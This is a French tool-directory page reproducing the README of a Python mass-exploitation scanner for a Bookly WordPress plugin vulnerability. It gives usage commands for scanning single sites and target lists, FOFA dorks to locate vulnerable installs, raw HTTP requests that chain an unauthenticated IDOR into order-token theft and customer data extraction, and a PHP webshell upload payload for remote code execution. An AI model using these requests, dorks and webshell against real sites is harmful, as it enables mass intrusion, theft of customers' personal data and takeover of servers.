Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-93399 — Scanner d'exploitation de masse en Python pour CVE-2026-93399 dans le plugin WordPress Bookly : détection de version, énumération non authentifiée des jetons de commande par IDOR, extraction de données personnelles (PII) et RCE par webshell. | Kitploit
Outils/GitHubGitHub/josemour8/cve-2026-93399
ReconnaissanceScanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebExfiltration de DonnéesSécurité WebTests d'Intrusion
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Scanner d'exploitation de masse en Python pour CVE-2026-93399 dans le plugin WordPress Bookly : détection de version, énumération non authentifiée des jetons de commande par IDOR, extraction de données personnelles (PII) et RCE par webshell.

2il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2026-93399

Bookly <= 28.2 IDOR non authentifié + fuite de données personnelles + RCE

Scanner d'exploitation de masse pour CVE-2026-93399 (CVSS 9.1 Critique) affectant le plugin WordPress Bookly — Online Scheduling and Appointment Booking System (versions <= 28.2).

Table des matières

  • Vue d'ensemble
  • Chaîne de vulnérabilités
  • Versions affectées
  • Prérequis
  • Installation
  • Utilisation
  • Dorks FOFA
  • Déroulement de l'attaque
  • Format de sortie
  • Détails techniques
  • Avertissement
  • Licence

Vue d'ensemble

Le plugin Bookly pour WordPress est vulnérable à une Insecure Direct Object Reference (IDOR) via les actions AJAX bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar et bookly_rollback_order. Toutes ces actions sont non authentifiées (_default => 'anonymous') et la protection CSRF est désactivée (csrfTokenValid() renvoie true).

Le gestionnaire bookly_get_form_id stocke aveuglément les form_data contrôlées par l'attaquant (y compris order_id) dans une nouvelle session de réservation sans aucune validation. Le gestionnaire bookly_render_complete fait ensuite confiance à cet order_id injecté pour rechercher et renvoyer le jeton secret de la commande correspondante — permettant à des attaquants non authentifiés d'énumérer des identifiants de commande séquentiels, de divulguer les jetons de commande d'autres clients, de récupérer des informations de calendrier/rendez-vous et de supprimer définitivement des réservations arbitraires non terminées.

Chaîne de vulnérabilités

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Versions affectées

  • Vulnérables : Bookly <= 28.2 (toutes les versions jusqu'à 28.2 inclus)
  • Corrigé dans : 28.3 (ajout de la liste blanche _prepareFormData() et de l'assainisseur _prepareCartData())

Prérequis

  • Python 3.8+
  • Bibliothèque requests
pip install requests

Installation

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Utilisation

Cible unique

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Analyse de masse

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Options

OptionDescription
-u, --urlURL cible unique
-f, --fileFichier contenant les URL cibles (une par ligne)
--detectVérifier uniquement la version (sans risque)
--enumerateIDOR : fuite des jetons de commande
--piiExtraire les données personnelles via l'export de calendrier ICS
--rceTenter un téléversement de webshell
--fullChaîne complète : IDOR + PII + RCE
--start Norder_id de départ (par défaut : 1)
--end Norder_id de fin (par défaut : 50)
-th, --threads NNombre de threads (par défaut : 5)
-o, --output FILEFichier de sortie (par défaut : results.txt)
-v, --verboseAfficher toutes les tentatives

Dorks FOFA

Trouver toutes les installations de Bookly

body="bookly-responsive-appointment-booking-tool"

Trouver les pages Bookly avec formulaire de réservation rendu

body="BooklyL10nGlobal"

Spécifique à la version (vulnérable <= 28.2)

body="bookly-main.css?ver=28.2"

Combiné (confiance la plus élevée)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Trouver des cibles avec l'add-on Files (pour RCE)

body="bookly-addon-files"

Trouver des cibles avec un champ de téléversement de fichiers configuré (exploitable en RCE)

body="bookly-js-upload"

Flux d'attaque

Étape 1 : Injection de order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Réponse :

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Code vulnérable (Ajax.php:45-46) :

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Étape 2 : Fuite du jeton de commande

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Réponse :

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Code vulnérable (Ajax.php:733) :

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Étape 3 : Extraire les PII via ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Réponse : fichier ICS contenant les données client :

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Étape 4 : RCE (nécessite l'extension Files)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Emplacement du shell : /wp-content/uploads/bookly-files/shell.php

Format de sortie

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Détails techniques

Cause racine

Le gestionnaire getFormId() stocke l'intégralité du paramètre form_data (JSON contrôlé par l'utilisateur) dans la base de données de session sans aucune liste blanche ni assainissement. Cela permet à un attaquant d'injecter des clés de session arbitraires, y compris order_id.

Le gestionnaire renderComplete() lit order_id depuis la session et interroge directement la table Order — sans vérifier que la session actuelle a créé cette commande.

Deux failles qui se cumulent

  1. CSRF désactivé — csrfTokenValid() est surchargé pour renvoyer return true dans le module de réservation
  2. Toutes les actions anonymes — permissions() renvoie array('_default' => 'anonymous'), donc chaque gestionnaire enregistre à la fois les hooks wp_ajax_ et wp_ajax_nopriv_

Le correctif (28.3)

Télécharger l’outil